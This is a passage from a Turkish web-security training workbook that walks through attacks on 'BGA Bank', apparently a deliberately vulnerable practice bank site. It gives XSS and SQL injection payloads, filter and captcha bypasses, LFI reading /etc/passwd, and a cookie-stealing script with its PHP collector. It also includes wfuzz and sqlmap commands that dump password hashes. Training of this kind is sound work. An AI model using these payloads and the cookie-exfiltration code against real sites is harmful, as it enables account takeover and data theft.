Parolasının  Tahmin  Edilebilir  Olması  .......................................................................................  66   26.  Havale  İşleminde  Mantık  Hatası  (Havale  Yaparak  Bakiye  Arttırma)  .....................................................  70   27.  Dizin  Listeleme/İfşa  Zafiyeti  .................................................................................................................  71   28.  Şifre  Değiştirme  İşlemi  CSRF  Zafiyeti  ve  İstismarı  .................................................................................  72   29.  Kartlarım  Sayfası  Insecure  Direct  Object  References  Zafiyeti  ve  İstismarı  ...........................................  76   30.  Şubeler  Sayfası  SQL  Injection  Zafiyeti  ve  İstismarı  ...............................................................................  79   31.  İşlem  Özeti  Filtreleme  Web  Service  SQL  Injection  ................................................................................  83   32.  BGA  Bank  Session  Fixation  Saldırısı  ......................................................................................................  86  
  • 5. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   5         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         33.  HTML  Yorum  Satırlarında  Bilgi  İfşası  .....................................................................................................  88   34.  Şifre  Değiştirme  Panelinde  Şifre  Form  Kontrolünü  Atlatma  .................................................................  90   35.  Diğer  Müşterilere  Bağlı  Kart  Şifrelerini  Değiştirme  ..............................................................................  93   36.  Şubeler  Sayfası  Reflected  XSS  Zafiyeti  ve  İstismarı  ...............................................................................  96   37.  İçerik  Parametresi  Time-­‐Based  SQL  Injection  Zafiyeti  ve  İstismarı  .......................................................  99   38.  Kodlarına  Ulaşılabilir  Dosyalar  ............................................................................................................  101   39.  User-­‐Agent  Başlık  Bilgisinde  Stored  XSS  Zafiyeti  ve  İstismarı  .............................................................  103   40.  Haberdar  Ol  Sayfası  SQL  Injection  Zafiyeti  ve  İstisamarı  ....................................................................  107   41.  Haberdar  Ol  Sayfası  Reflected  XSS  Zafiyeti  ve  İstismarı  .....................................................................  112   42.  Döviz  Alma  İşleminde  Araya  Girilerek  Döviz  Fiyatı  Değiştirme  ...........................................................  115   43.  Tomcat  6  Sistem  İfşası  ........................................................................................................................  118   44.  Güvensiz  Çıkış  Zafiyeti  ........................................................................................................................  119   45.  User-­‐Agent  Bilgisi  Değiştirerek  Ücretsiz  Havale  İşlemi  Gerçekleştirme  ..............................................  121   46.  LFI  ve  Dosya  Yükleme  Zafiyetini  Kullanarak  Sisteme  Shell  Yükleme  ...................................................  123   47.  Tomcat  Metasploit  Brute  Force  Saldırısı  ............................................................................................  128   48.  Müşteri  Girişi  Form  Tabanlı  Brute  Force  Saldırısı  ...............................................................................  130   49.  OWASP  Xenotix  XSS  Framework  Kullanarak  XSS  Tespiti  .....................................................................  133   50.  XSS  Zafiyeti  ile  Beef  Framework  Kullanarak  Şifre  Çalma  Senaryosu  ...................................................  136   51.  Nmap  Kullanarak  PortSpoof  Tespiti  ....................................................................................................  142          
  • 6. 6   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı BGA   Bank   "Müşteri   Giriş   Paneli"   sayfasında   “Reflected   XSS   Zafiyeti”   bulunmaktadır.   XSS   zafiyetinin  tespiti  ve  istismarı  aşağıda  adım  adım  anlatılmıştır.   URL   http://isube.bgabank.com/giris.aspx   HTTP  Talep  Türü   POST   Payload   <script>alert(document.cookie)</script>   Parametre   b_musterino   Tablo  1.  Giriş  Sayfası  Reflected  XSS  Zafiyet  Bilgileri   1)  Giriş  formu  rastgele  ve  yanlış  bilgilerle  doldurulur,  ardından  “Giriş  Yap”  butonuna  tıklanır.     Şekil  1.  Müşteri  Giriş  Paneli   Yanlış  girilen  müşteri  numarasının  hata  mesajında  yer  alması,  XSS  zafiyetinin  olabileceğine   işaret  eder.  12345678  yerine  yazılan  herhangi  bir  HTML  veya  JavaScript  kodu,  sayfa  kaynak   kodları  arasında  yer  alır.  Eğer  girdiler  geliştirici  tarafından  filtrelenmemişse  saldırgan  zararlı   kod  parçacıklarını  sayfa  üzerinde  çalıştırabilir.   2)   Tarayıcı   ile   uygulama   arasına   girilerek,   JavaScript   filtrelemeleri   atlatılır   ve   payload   çalıştırılır.   Müşteri  numarası  alanına  direk  tarayıcı  üzerinden  html  kod  girildiğinde,  Şekil  2.  de  gösterilen   hata  veya  türevleri  zafiyetin  istismarına  engel  olacaktır.    
  • 7. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   7         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  2.  Müşteri  Giriş  Paneli  Hata  Mesajı   Uygulama  geliştirici,  girdileri  JavaScript  ile  kontrol  etmektedir.  JavaScript  kodları  sunucuda   değil,  son  kullanıcının  yani  müşterinin  tarayıcısında  çalışır.  Bu  problem,  tarayıcı  ile  sunucu   arasına   girilerek   çözülebilir.   Bunu   gerçekleştirmek   için   de   Proxy   araçları   kullanılır.   Bu   zafiyetin  istismarında  Proxy  aracı  olarak  Burp  Suite  kullanılmıştır.   Müşteri  numarası,  geliştiricinin  istediği  formata  uygun  bir  şekilde  (12345678)  girilir.  “Giriş   Yap”  butonuna  tıklandığı  anda  sunucuya  gönderilen  istek  Proxy’ye  düşer.  Proxy’de  bekletilen   istek  üzerinde  bulunan,  “b_musterino”  parametresinin  12345678  olan  değeri  Tablo  1.  deki   payload   ile   değiştirilir.   Bekletilen   isteğe   izin   verilerek   sunucuya   ulaşması   sağlanır.   Böylece   filtreleme  başarılı  bir  şekilde  atlatılmış  olur.   Şekil  3.  Burp  Suite  İle  Veri  Manipülasyonu        
  • 8. 8   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           3)  Sonuç,  müşterinin  cookie  bilgileri  başarılı  bir  şekilde  alınır.     Şekil  4.  Sonuç      
  • 9. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   9         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı Müşteri   giriş   panelinde   SQL   injection   zafiyeti   yer   almaktadır.   Zafiyet   bilgileri   tablo   2.   de   gösterilmiştir.     URL   http://isube.bgabank.com/giris.aspx   HTTP  Talep  Türü   POST   Payload   "  or  2=2;-­‐-­‐   Parametre   b_musterino   Tablo  2.  Giriş  Sayfası  SQL  Injection  Zafiyet  Bilgileri   Zafiyetin  istismarı  aşağıda  adım  adım  anlatılmıştır.   1)  Giriş  formu  kurallara  uygun  şekilde  doldurur  ve  Firefox’un  HTTP  Live  Headers  eklentisi   açıkken  “Giriş  Yap”  butonuna  tıklanır.     HTTP   isteği   gönderilirken,   “Live   HTTP   Header”   üzerinde   kendi   yansımasını   bırakır.   Bu   yansıma   üzerinde   Javascript   filtreleme   olmadığından   payload   girilerek   istek   tekrar   gönderilebilir.  Şekil  5.  de  gösterilen  istek  üzerinde  değişiklik  yapmak  için  “Replay”  butonuna   tıklanır.     Şekil  5.  Live  HTTP  Headers  
  • 10. 10   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           2)  “b_musterino”  parametre  değerine,  Tablo  2.  de  yer  alan  SQL  injection  payload  girilir  ve   istek  tekrar  “Replay”  butonu  ile  gönderilir.  (bkz.  Şekil  6)     Şekil  6.  Live  HTTP  Headers  SQL  Injection  Payload  Gönderimi                        
  • 11. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   11         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         3)  Sonuç,  başarılı.     Şekil  7.  Sonuç      
  • 12. 12   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           3. User-Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil Giriş)   URL   http://isube.bgabank.com/giris.aspx   Tablo  3.  Captcha  URL   Tablo  3.  de  belirtilen  adreste  üç  kez  yanlış  giriş  denemesinde  bulunulduğunda,  brute  force   saldırısını   engellemek   için   captcha   çıkmaktadır.   Fakat   mobil   cihazla   girildiğinde   captcha   çıkmamaktadır.   Tarayıcıda   user-­‐agent   bilgisi   değiştirilerek,   mobil   cihaz   gibi   siteye   giriş   yapılabilir.  Bunun  için  Firefox  eklentisi  “User  Agent  Switcher”  kullanılabilir.     Şekil  8.  Captcha  Panel   Bu  durumdayken  “User  Agent  Switcher”  ile  cihaz  iPhone  3.0  olarak  ayarlanır  ve  yanlış  veriler   girilip  “Giriş  Yap”  butonuna  tıklandığında  Captcha  ‘nın  kaybolduğu  görülecektir.  (Şekil  9)  
  • 13. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   13         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  9.  User  Agent  Switcher      
  • 14. 14   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı URL   http://isube.bgabank.com/?sayfa=arama.php&s1=bgabank&s2=   HTTP  Talep  Türü   GET   Payload   <Script>prompt(document.cookie);</Script>   Parametre   s1  veya  s2   Tablo  4.  Arama  Sayfası  Reflected  XSS  Zafiyet  Bilgileri   Arama   kutusunda   Reflected   XSS   zafiyeti   bulunmaktadır.   Zafiyet   bilgileri   Tablo   4.   de   belirtilmiştir.  Bu  zafiyeti  istismar  etmeden  önce  normal  bir  arama  yapılır.  "deneme"  kelimesi   aratıldığında  "Aradığınız  Kayıt  Bulunamadı”  hatası  dönmektedir.    (bkz.  Şekil  10)     Şekil  10.  Normal  Arama  Sonucu   Daha   sonra   çeşitli   payloadlar   denenebilir.   En   sık   kullanılan   payloadlardan   <script>alert(1)</script>  denendiğinde,  sonuç  Şekil  11  deki  gibidir.       Şekil  11.  Hata  mesajı   Burada  script,  alert  gibi  sık  kullanılan  XSS  payloadlarına  karşı  bir  önlem  alındığı  düşünülebilir.   Bu   engeli   atlatmak   için   en   basit   yöntemlerden   biri   script   kelimesini   büyük-­‐küçük   harf  
  • 15. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   15         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         kullanarak   yazmaktır.   Şekil   12.   de   <Script>prompt(document.cookie);</Script>   payloadı   denenmiştir  ve  sonuç  başarılıdır.       Şekil  12.  Sonuç   Bu  payload  haricinde,  içinde  script  veya  alert  kelimeleri  geçmeyen  yüzlerce  farklı  payload   çalıştırılabilir.       Örnek;  http://isube.bgabank.com/?sayfa=arama.php&s1=<img  onerror=prompt('BGA')   src="a"  />&s2=  (bkz.  Şekil  13)       Şekil  13.  Örnek  Payload  Denemesi      
  • 16. 16   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS İstismarı Örnek  URL;   http://isube.bgabank.com/?sayfa=arama.php&s1=<img  onerror=al&s2=ert('BGA')  src=”a”/>     Alınan   önlemler,   HPF(HTTP   Parameter   Fragmentation)   olarak   adlandırılan   yöntemle   atlatılabilmektedir.  Bu  yöntemde,  arama  işleminde  yer  alan,  iki  arama  parametresi  (s1  ve  s2)   üzerinden  istismar  edilir.  Örnek  URL  ’de  alert  s1  ve  s2  parametreleri  üzerinde  bölünmüştür.   (bkz.  Şekil  14)       Şekil  14.  HPP      
  • 17. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   17         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         6. XSS Kullanarak Cookie Bilgisi Çalma Arama   kutusunda   yer   alan   XSS   zafiyeti,   kullanıcıların   cookie   bilgilerini   çalmak   için   kullanılabilir.  Aşağıda  belirtilen  tablodaki  payload,  istenilen  linke,  kullanıcı  cookie  bilgilerini   get  isteği  ile  göndermektedir.   Cookie  Çalma  İçin  Kullanılan  Payload   <sCript>document.location="http://localhost/test/steal.php?cookie="+document.cookie</Script>     Adres  içerisinde  belirtilen  steal.php  dosyasının  kaynak  kodları  aşağıdaki  gibidir.     steal.php  Kaynak  Kodları   <?php          $cookie  =  $_GET["cookie"];          $myfile  =  fopen("cookies.txt",  "a")  or  die("Dosya  bulunamadı!");          fwrite($myfile,  $cookie);          fclose($myfile);   ?>     Yukarıdaki   kaynak   koddan   da   anlaşıldığı   gibi,   gelen   istekler,   cookies.txt   dosyasına   kaydedilmektedir.   Bunun   için,   ya   cookies.txt   dosyası   oluşturmalı   yolunu   belirtilmeli   ya   da   fopen   parametresi   w   olarak   değiştirilmelidir.   w   parametresi   yeni   dosya   oluşturup,   içine   yazmayı  sağlar.     Şimdi  zafiyet  yeni  payload  ile  denendiğinde,  sayfanın  yönlendiği  görülecektir.  (Şekil  A)     Şekil  A.  Çalışan  Payload     Cookies.txt  dosyasına  kullanıcı  cookie  bilgileri  kaydedilmiştir.  (Şekil  B)     Şekil  B.  Cookies.txt  İçeriği      
  • 18. 18   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           7. Yönetim Paneli Dizin İfşası URL   http://isube.bgabank.com/administrator.aspx   Tablo  5.  Yönetim  Paneli  URL     Zafiyet  her  zaman  kodlar  üzerinde  olmayabilir.  Bazen  basit  bir  parola  veya  giriş  formunun   brute-­‐force’a   açık   olması   hedef   sistemde   hak   yükseltmek   için   kullanılabilir.   Bunun   için   öncelikle  admin  giriş  sayfasının  tespit  edilmesi  gerekir.  Keşif  aracı  olarak  wfuzz  kullanılmıştır.   Ancak  bazı  öntanımlı  admin  panel  dizinleri  manuel  olarak  da  denenebilir.     Dizin  ifşası  için  Wfuzz  aracında  aşağıdaki  komutlar  sırasıyla  çalıştırılır.     #  cd  /usr/share/wfuzz   #  ./wfuzz.py  -­‐c  -­‐-­‐hc  404,XXX  -­‐z  file,wordlist/general/admin-­‐panels.txt   http://isube.bgabank.com/?sayfa=FUZZ   Kelime  listeleri  wfuzz/wordlist  dizini  altında  bulunabilir.  Yukarıdaki  URL’de  FUZZ  yazan  yer   brute-­‐force’un  deneneceği  kısımdır.       Şekil  15.  Wfuzz  Sonuç  
  • 19. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   19         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Response   değerlerine   bakıldığında   2   tip   cevap   döndüğü   görülür,   401   ve   200.   401   olanlar   elenir.   200   olanlar   Lines,   Word,   Chars   değerlerine   bakılarak   ayırt   edilebilir.   Şekil   15.   de   benzer  değerleri  bulunmayan  tek  dizin  vardır  (administrator.aspx).   Yönetici  paneli;     Şekil  16.  Yönetim  Paneli      
  • 20. 20   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           8. Local File Inclusion Zafiyeti ve İstismarı URL   http://isube.bgabank.com/?sayfa=../../../../../../etc/passwd   Tablo  6.  Local  File  Inclusion  URL     ● Bir   önceki   bulguda   bahsedildiği   gibi   BGA   BANK’ta   sayfa   parametresiyle   sunucudan   aynı  dizin  altındaki  farklı  php  dosyaları(giris.php,  mobilgiris.php  vb.)  çağırılmaktadır.   ● Hem   Linux’ta   hem   Windows’ta   .(tek   nokta)   aynı   dizini   ve     ..   (iki   nokta)   ise   bir   üst   dizini  ifade  eder.   ● Linux   bir   sistemde   /etc/passwd   dosyası   bazı   kullanıcı   bilgilerini   saklar   ve   herkes   tarafından  okunabilir.   Bu   bilgiler   kullanılarak   sistemdeki   yerel   dosya   okuma   zafiyetinden   /etc/passwd   dosyası   görüntülenebilir.       İşlem  manuel  olarak  yapılıyorsa  garanti  olması  için  ../../  sayısı  fazla  tutulabilir.  İşletim  sistemi   sayı  fazla  olsa  dahi  ana  dizinden  bakmaya  başlayacaktır.  Yani  tablo  6.  da  belirtilen  adrese  ve   http://isube.bgabank.com/?sayfa=../../../../../../../../../../../etc/passwd   adresine   giriş   yapıldığında  şekil  17.  deki  sonucu  verecektir.       Şekil  17.  /etc/passwd  Bilgileri   Otomatize  araç  olarak  wfuzz  kullanılabilir.     #  cd  /usr/share/wfuzz   #  ./wfuzz.py  -­‐c  -­‐-­‐hc  404,XXX  -­‐z  file,wordlist/Injections/Traversal.txt   http://isube.bgabank.com/?sayfa=FUZZ   Bir  önceki  zafiyette  olduğu  gibi  wfuzz  FUZZ’un  olduğu  bölüme  bruteforce  yapacaktır.  Word   ve  Chars  değerleri  kontrol  edilerek  geçerli  dizinler  bulunabilir.  (bkz.  Şekil  18)  
  • 21. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   21         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  18.  Wfuzz  LFI      
  • 22. 22   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           9. robots.txt Bilgi İfşası   URL   http://isube.bgabank.com/robots.txt     Tablo  7.  Local  File  Inclusion  URL     Robot.txt,  arama  motorlarına  sitedeki  hangi  dizinleri  indeksleyebileceğini  belirten  basit  bir   metin  dosyadır.  Bu  dosya  ile,  örneğin  Google’ın  indekslemediği  gizli  dizinler,  web  sayfaları   öğrenilebilir.  Robot.txt  dosyası  web  sitesinde  en  üst  dizinde  bulunur.     Aşağıdaki  robot.txt  dosyasından  Disallow  ile  belirtilen  6  dizinin  indekslenmesinin  istenmediği   anlaşılabilir.  Bu  da  dizinlerin  var  olabileceğini  gösterir.       Şekil  19.  robots.txt  İçeriği      
  • 23. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   23         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         10. PhpMyAdmin Bilgi İfşası URL   http://isube.bgabank.com/pma/   Tablo  8.  phpMyAdmin  URL     MySQL   veritabanını   web   tarayıcısı   üzerinden   yönetmek   için   kullanılan   phpMyAdmin   uygulamasının  giriş  sayfası  dışarıya  açıktır.  Bu  sayfaya  erişim  kısıtlanmadığında  brute-­‐force   saldırılarına   maruz   kalabilir   ya   da   uygulamaya   has   zafiyetler   varsa   istismar   edilebilir.   Öntanımlı  phpMyAdmin  giriş  sayfası  pma  veya  phpmyadmin’dir.       Şekil  20.  phpMyAdmin  Panel      
  • 24. 24   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           11. Arama Kutusu Error Based & Union Query SQL Injection Zafiyeti ve İstismarı URL   http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=   HTTP  Talep  Türü   GET   Payload   "  or  1=1;   Parametre   s1   Tablo  9.  Arama  Kutusu  SQL  Injection  Zafiyet  Bilgileri   Arama  kısmında  hata  tabanlı  ve  Union  sorguları  çalıştırılabilecek  SQL  injection  zafiyeti  vardır.   Tespit  için  öncelikle  bir  çift  tırnak  atıldığında  SQL  hatası  görülebilir.  (bkz.  Şekil  21)     Şekil  21.  Arama  Kutusu  SQL  injection   deneme"  or  1=1;  payloadı  ile  veritabanında  deneme  ile  ilgili  bir  içerik  olmasa  dahi  "  or  1=1;   ile  tüm  içerik  listelenmiştir.  (bkz.  Şekil  22)  
  • 25. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   25         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  22.  Payload  Çıktısı   İstismar  sqlmap  aracı  ile  yapılmıştır.  Aşağıdaki  komut  ile  sqlmap’e  zafiyetin  hangi  URL’de,   hangi   parametrede,   hangi   veritabanında   olduğu   ve   istismarın   hangi   seviyede   aranacağı   belirtilmiştir.   sqlmap’de   seviye(level)   yükseldikçe   HTTP   cookie,   HTTP   user   agent   gibi   başlıklarda  da  zafiyet  aranır.   #  sqlmap.py  -­‐u   "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="  -­‐p  s1  -­‐-­‐dbms   MYSQL  -­‐-­‐level  4   sqlmap  çıktısı;   GET  parameter  's1'  is  vulnerable.  Do  you  want  to  keep  testing  the  others  (if  any)?  [y/N]   sqlmap  identified  the  following  injection  points  with  a  total  of  461  HTTP(s)  requests:   -­‐-­‐-­‐   Place:  GET   Parameter:  s1     Type:  error-­‐based     Title:  MySQL  >=  5.0  AND  error-­‐based  -­‐  WHERE  or  HAVING  clause     Payload:  sayfa=arama.php&s1=deneme"  AND  (SELECT  8204  FROM(SELECT  COUNT(*),   CONCAT(0x716d6e6371,(SELECT  (CASE  WHEN  (8204=8204)  THEN  1  ELSE  0  END)),0   x7176717771,FLOOR(RAND(0)*2))x  FROM  INFORMATION_SCHEMA.CHARACTER_SETS  GROUP   BY  x)a)  AND  "rmsH"="rmsH&s2=       Type:  UNION  query     Title:  MySQL  UNION  query  (NULL)  -­‐  10  columns     Payload:sayfa=arama.php&s1=deneme"  UNION  ALL  SELECT  NULL,  
  • 26. 26   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           CONCAT(0x716d6e6371,0x68546f6b5063706b4968,0x7176717771),NULL,NULL,NULL,NULL,N ULL,NULL,NULL,NULL#&s2=   -­‐-­‐-­‐   [17:00:01]  [INFO]  the  back-­‐end  DBMS  is  MySQL   web  server  operating  system:  Linux  Ubuntu   web  application  technology:  Apache  2.4.7,  PHP  5.5.9   back-­‐end  DBMS:  MySQL  5.0     Görüldüğü   gibi   error-­‐based   ve   UNION   query   tipinde   sql   injection   zafiyetleri   tespit   edildi.   İstismar  için  önce  -­‐-­‐dbs  ile  var  olan  veritabanları  listelenir.  (Tablo  10)     Komut   sqlmap.py   -­‐u   "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="   -­‐p   s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐-­‐dbs   Çıktı   available  databases  [6]:   [*]  bga_bank_4_0   [*]  honeypot   [*]  information_schema   [*]  mysql   [*]  performance_schema   [*]  phpmyadmin   Tablo  10.  sqlmap  Veritabanı  Listeleme  Verileri   Hedef  olarak  -­‐D  ile  bga_bank_4_0  veritabanı  seçilmiştir  ve  -­‐-­‐tables  ile  tablolar  listelenmiştir.   (Tablo  11)     Komut   sqlmap.py  -­‐u   "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="  -­‐p   s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐D  bga_bank_4_0  -­‐-­‐tables   Çıktı   Database:  bga_bank_4_0   [20  tables]   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   |  bnk_ayarlar                                 |   |  bnk_bankalar                               |   |  bnk_basvurular                           |   |  bnk_failed_logins                     |   |  bnk_hesap_islemleri          |   |  bnk_hesap_turleri                  |   |  bnk_hesaplar                               |   |  bnk_iller                                     |   |  bnk_kartlar                                |   |  bnk_karttipleri                         |  
  • 27. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   27         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         |  bnk_kurtipleri                           |   |  bnk_musteri_temsilci_mesajlar  |   |  bnk_musteriler                           |   |  bnk_musteriler_user_agent  |   |  bnk_plakalar                               |   |  bnk_sahte_hesaplar          |   |  bnk_sayfalar                               |   |  bnk_subeler                                 |   |  bnk_temsilciler                         |   |  bnk_ziyaretci_defteri        |   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   Tablo  11.  sqlmap  Tablo  Listeleme  Verileri   Listelenen   tablolardan   BGA   Bank’taki   müşteri   temsilcileri   hedef   alınmıştır.   -­‐T   ile   bnk_temsilciler  tablosu  seçilir  ve  -­‐-­‐columns  parametresi  ile  kolonlar  listelenir.  (Tablo  12)       Komut   sqlmap.py  -­‐u   'http://www.bgabank.com/index.php?sayfa=arama.php&s=deneme'  -­‐p  s  -­‐-­‐dbms   MYSQL  -­‐-­‐level  4  -­‐D  BGA_Bank_1_0  -­‐T  bnk_temsilciler  -­‐-­‐columns   Çıktı   Database:  bga_bank_4_0   Table:  bnk_temsilciler   [9  columns]   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   |  Column                    |  Type             |   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   |  t_adi                       |  varchar(25)              |   |  t_durum                   |  int(11)       |   |  t_email                  |  varchar(200)          |   |  t_ensongiristarihi  |  timestamp        |   |  t_ID                         |  int(11)                            |   |  t_kullanicino       |  varchar(9)                  |   |  t_resim_yol           |  text             |   |  t_sifre                   |  text                                  |   |  t_soyadi                |  varchar(30)              |   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   Tablo  12.  sqlmap  kolon  listeleme  verileri   Temsilci  numarası  ve  şifresi  sırasıyla  t_kullanicino  ve  t_sifre  kolonlarında  tutulduğundan  bu   iki  kolondaki  veriler  Tablo  13  de  gösterilen  komut  ile  çekilir.          
  • 28. 28   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Komut   sqlmap.py  -­‐u   "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="  -­‐p   s1  -­‐-­‐dbms  MYSQL  -­‐-­‐level  4  -­‐D  bga_bank_4_0  -­‐T  bnk_temsilciler  -­‐C   t_kullanicino,t_sifre  -­‐-­‐dump   Çıktı   Database:  bga_bank_4_0   Table:  bnk_temsilciler   [2  entries]   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   |  t_sifre                                                                                                            |  t_kullanicino          |   +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   |  310dcbbf4cce62f762a2aaa148d556bd  (333)  |  11111111                |   |  310dcbbf4cce62f762a2aaa148d556bd  (333)  |  22222222                |   